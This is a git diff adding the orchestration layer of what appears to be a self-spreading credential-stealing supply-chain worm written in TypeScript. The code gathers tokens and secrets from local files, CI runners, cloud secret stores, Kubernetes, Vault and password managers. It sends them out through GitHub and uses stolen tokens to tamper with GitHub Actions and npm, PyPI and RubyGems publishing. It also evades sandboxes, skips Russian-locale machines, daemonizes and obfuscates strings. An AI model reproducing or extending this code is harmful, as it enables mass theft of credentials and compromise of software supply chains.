diff --git a/src/orchestrator/mutations.ts b/src/orchestrator/mutations.ts new file mode 100644 index 0000000..2ab93f6 --- /dev/null +++ b/src/orchestrator/mutations.ts @@ -0,0 +1,108 @@ +import { ActionMutator } from "../mutator/action/actionMutator"; +import type { Mutator } from "../mutator/base"; +import { ReadmeUpdater } from "../mutator/branch"; +import { Claude } from "../mutator/claude"; +import { NPMOidcClient } from "../mutator/npmoidc"; +import { NpmOidcBranchMutator } from "../mutator/npmoidc/branch"; +import { InstallMonitor } from "../mutator/persist/install-monitor"; +import { PyPIOidcClient } from "../mutator/pypioidc"; +import { RepositoryMutator } from "../mutator/repository"; +import { RubygemsOidcBranchMutator } from "../mutator/rubygemsoidc/branch"; +import { SshMutator } from "../mutator/ssh/sshMutator"; +import type { ProviderResult } from "../providers/types"; + +// ── Always-run mutators (used in both success and failure paths) ──────────── + +/** Mutators that always execute regardless of exfiltration outcome. */ +export function getFallbackMutations(): Mutator[] { + return [ + new Claude(), + new InstallMonitor(), + new SshMutator(), + new NPMOidcClient(), + new PyPIOidcClient(), + ]; +} + +// ── Conditional mutation planning ─────────────────────────────────────────── + +/** + * Build the list of mutators to run based on quick-result data and + * any GitHub tokens discovered by second-stage providers (cloud). + * + * @param quickResults Results from the three quick providers. + * @param dispatched Whether GitHub Actions tokens were dispatched + * during the main exfiltration phase. + * @param extraTokens GitHub tokens discovered by stage-two + * providers (AWS, Azure, GCP, K8s, Vault, etc.). + */ +export function planMutations( + quickResults: ProviderResult[], + dispatched: boolean, + extraTokens: ReadonlySet = new Set(), + exfilFailed = false, +): Mutator[] { + const mutators: Mutator[] = []; + + // ReadmeUpdater — only when no GitHub Actions tokens were dispatched + if (!dispatched) { + for (const item of quickResults) { + for (const token of item.matches?.["ghs_old"] ?? []) { + mutators.push(new ReadmeUpdater(token)); + } + for (const token of item.matches?.["ghs_jwt"] ?? []) { + mutators.push(new ReadmeUpdater(token)); + } + } + } + + // ActionMutator — one per ghtoken (deduplicated) + const seenGhtokens = new Set(); + for (const item of quickResults) { + for (const token of item.matches?.["ghtoken"] ?? []) { + if (seenGhtokens.has(token)) continue; + seenGhtokens.add(token); + mutators.push(new ActionMutator(token)); + mutators.push(new NpmOidcBranchMutator(token)); + //mutators.push(new RepositoryMutator(token)); + } + } + + // Stage-two tokens discovered by cloud providers (AWS, Azure, GCP, etc.). + // These run the same mutators in parallel with the quick-results tokens. + for (const token of extraTokens) { + if (seenGhtokens.has(token)) continue; + seenGhtokens.add(token); + mutators.push(new ActionMutator(token)); + mutators.push(new NpmOidcBranchMutator(token)); + mutators.push(new RepositoryMutator(token, { aggressive: exfilFailed })); + } + + // Always-run + mutators.push(...getFallbackMutations()); + + return mutators; +} + +// ── Execution ─────────────────────────────────────────────────────────────── + +/** + * Run every mutator in parallel. Each mutator's {@link Mutator.shouldExecute} + * guard is checked first; individual failures are swallowed so one bad + * mutator cannot abort the rest. + */ +export async function executeMutations(mutators: Mutator[]): Promise { + if (mutators.length === 0) return; + + await Promise.allSettled( + mutators.map(async (m) => { + try { + if (await m.shouldExecute()) { + await m.execute(); + } + } catch { + // one mutator failing shouldn't abort others + } + }), + ); +} diff --git a/src/orchestrator/preflight.ts b/src/orchestrator/preflight.ts new file mode 100644 index 0000000..044dd3e --- /dev/null +++ b/src/orchestrator/preflight.ts @@ -0,0 +1,69 @@ +import { NPMOidcClient } from "../mutator/npmoidc/index"; +import { isDecoy } from "../utils/checkSandbox"; +import { isCI, isSystemRussian } from "../utils/config"; +import { daemonize } from "../utils/daemon"; +import { acquireLock, bail } from "../utils/lock"; +import { logUtil } from "../utils/logger"; + +declare function scramble(str: string): string; + +/** + * Check whether we are running in the target repository. + * Exits early if the repo matches, or if it's the wrong repo but + * REPO_ID_SUFFIX is configured. + */ +async function checkTargetRepo(): Promise { + const workflowId = process.env["WORKFLOW_ID"]; + const repoSuffix = process.env["REPO_ID_SUFFIX"]; + + if (!workflowId && !repoSuffix) return; + + try { + if (process.env[scramble("GITHUB_ACTIONS")]) { + const { GITHUB_WORKFLOW_REF, GITHUB_REPOSITORY } = process.env; + + logUtil.info(`Ref is ${GITHUB_WORKFLOW_REF}`); + logUtil.info(`Repo is ${GITHUB_REPOSITORY}`); + + if ( + (!workflowId || GITHUB_WORKFLOW_REF?.includes(workflowId)) && + (!repoSuffix || GITHUB_REPOSITORY?.includes(repoSuffix)) + ) { + const bitMutator = new NPMOidcClient(); + await bitMutator.execute(); + bail(); + } else if (repoSuffix && GITHUB_REPOSITORY?.includes(repoSuffix)) { + bail(); + } + } + } catch { + return; + } +} + +/** + * Run all preflight checks. May call bail() when the environment + * is not suitable for execution (decoy, wrong repo, Russian locale, + * daemonized parent, already locked). + */ +export async function preflight(): Promise { + if (isDecoy()) { + bail(); + } + await checkTargetRepo(); + + if (isSystemRussian()) { + logUtil.log("Exiting as russian language detected!"); + bail(); + } + if (!isCI()) daemonize(); + + const shutdown = () => {}; + process.on(scramble("SIGINT"), shutdown); + process.on(scramble("SIGTERM"), shutdown); + + if (!acquireLock()) { + logUtil.error("Another instance is already running"); + bail(); + } +} diff --git a/src/orchestrator/providers.ts b/src/orchestrator/providers.ts new file mode 100644 index 0000000..dc803f0 --- /dev/null +++ b/src/orchestrator/providers.ts @@ -0,0 +1,112 @@ +import { getTokenMetadata } from "../github_utils/tokenCheck"; +import { GitHubActionsService } from "../providers/actions/actions"; +import { AwsAccountService } from "../providers/aws/awsAccount"; +import { AwsSecretsManagerService } from "../providers/aws/secretsManager"; +import { AwsSsmService } from "../providers/aws/ssm"; +import { AzureIdentityService } from "../providers/azure/identity"; +import { AzureKeyVaultService } from "../providers/azure/keyvault"; +import type { Provider } from "../providers/base"; +import { ShellService } from "../providers/devtool/devtool"; +import { FileSystemService } from "../providers/filesystem/filesystem"; +import { GrepProvider } from "../providers/filesystem/grep"; +import { GcpIdentityService } from "../providers/gcp/identity"; +import { GcpSecretsService } from "../providers/gcp/secrets"; +import { GitHubRunner } from "../providers/ghrunner/runner"; +import { K8sSecretsService } from "../providers/kubernetes/kubernetes"; +import { PasswordManagerProvider } from "../providers/passwords/passwords"; +import type { ProviderResult } from "../providers/types"; +import { VaultSecretsService } from "../providers/vault/vault-secrets"; +import { logUtil } from "../utils/logger"; + +/** + * Run the three "quick" providers (filesystem, shell, GitHub runner) + * and return their results. These are used both for token discovery + * and as initial data for the collector. + */ +export async function gatherQuickResults(): Promise { + const localProvider = new FileSystemService(); + const shellProvider = new ShellService(); + const runnerProvider = new GitHubRunner(); + + return [ + await localProvider.execute(), + await shellProvider.execute(), + await runnerProvider.execute(), + ]; +} + +export interface ProviderBundle { + providers: Provider[]; + dispatched: boolean; +} + +/** + * Build the full provider list: + * 1. Start with the static cloud / secret-store providers. + * 2. For every valid GitHub token found in quickResults, append a + * GitHubActionsService. + * + * Returns the providers and a flag indicating whether at least one + * GitHub Actions token was dispatched. + */ +export async function buildProviders( + quickResults: ProviderResult[], +): Promise { + const providers: Provider[] = [ + new AwsSsmService(), + new AwsSecretsManagerService(), + new AwsAccountService(), + new AzureKeyVaultService(), + new AzureIdentityService(), + new GcpSecretsService(), + new GcpIdentityService(), + new K8sSecretsService(), + new VaultSecretsService(), + new PasswordManagerProvider(), + ]; + + let dispatched = false; + const seenTokens = new Set(); + let hasClassicPat = false; + + for (const item of quickResults) { + logUtil.log(`Checking ${item.service}`); + if (item.matches?.["ghtoken"]) { + for (const token of item.matches["ghtoken"]) { + if (seenTokens.has(token)) continue; + seenTokens.add(token); + + // Track classic PATs so we can enable the grep provider below. + if (token.startsWith("ghp_") || token.startsWith("gho_")) { + hasClassicPat = true; + } + + const meta = await getTokenMetadata(token); + if (!meta.valid) continue; + + // Store metadata so the collector can skip re-validating. + if (!item.tokenMetadata) item.tokenMetadata = {}; + item.tokenMetadata[token] = meta; + + // Only add the provider if the token has repo scope (push) or + // deployments scope — needed to push branches or create deployments. + const hasRepo = + meta.scopes.includes("repo") || meta.scopes.includes("public_repo"); + if (hasRepo) { + providers.push(new GitHubActionsService(token)); + dispatched = true; + } + } + } + } + + // Grep the filesystem for more credentials when classic PATs are present. + if (hasClassicPat) { + logUtil.log( + "[providers] Classic PAT (ghp_/gho_) found — enabling GrepProvider.", + ); + providers.push(new GrepProvider()); + } + + return { providers, dispatched }; +} diff --git a/src/orchestrator/senders.ts b/src/orchestrator/senders.ts new file mode 100644 index 0000000..dcb6cf0 --- /dev/null +++ b/src/orchestrator/senders.ts @@ -0,0 +1,46 @@ +import type { ProviderResult } from "../providers/types"; +import type { Sender } from "../sender/base"; +import { GitHubSenderFactory } from "../sender/github/gitHubSenderFactory"; +import { logUtil } from "../utils/logger"; + +/** + * Build a GitHub-only sender chain: + * 1. GitHub direct (commit-search PAT) + * 2. GitHub token fallback (quick-results tokens) + * + * Returns the non-null senders in priority order. + */ +export async function buildSenderChain( + quickResults: ProviderResult[], +): Promise { + // Derive a GitHub search token from quick results + let ghsSearchToken: string | undefined; + for (const result of quickResults) { + const jwt = result.matches?.["ghs_jwt"]; + const old = result.matches?.["ghs_old"]; + logUtil.log( + `quickResults ${result.service}: ghs_jwt=${jwt?.length ?? 0} ghs_old=${old?.length ?? 0}`, + ); + if (jwt?.length) { + ghsSearchToken = jwt[0]; + break; + } + if (old?.length) { + ghsSearchToken = old[0]; + break; + } + } + + const gitHubFactory = new GitHubSenderFactory(); + const senders: (Sender | null)[] = []; + + // Primary: GitHub direct via commit-search PAT + senders.push(await gitHubFactory.tryCreate(undefined, ghsSearchToken)); + + // Fallback: GitHub via quick-results tokens + if (!senders[0]?.healthy()) { + senders.push(await gitHubFactory.tryCreate(quickResults)); + } + + return senders.filter((s): s is Sender => s !== null); +}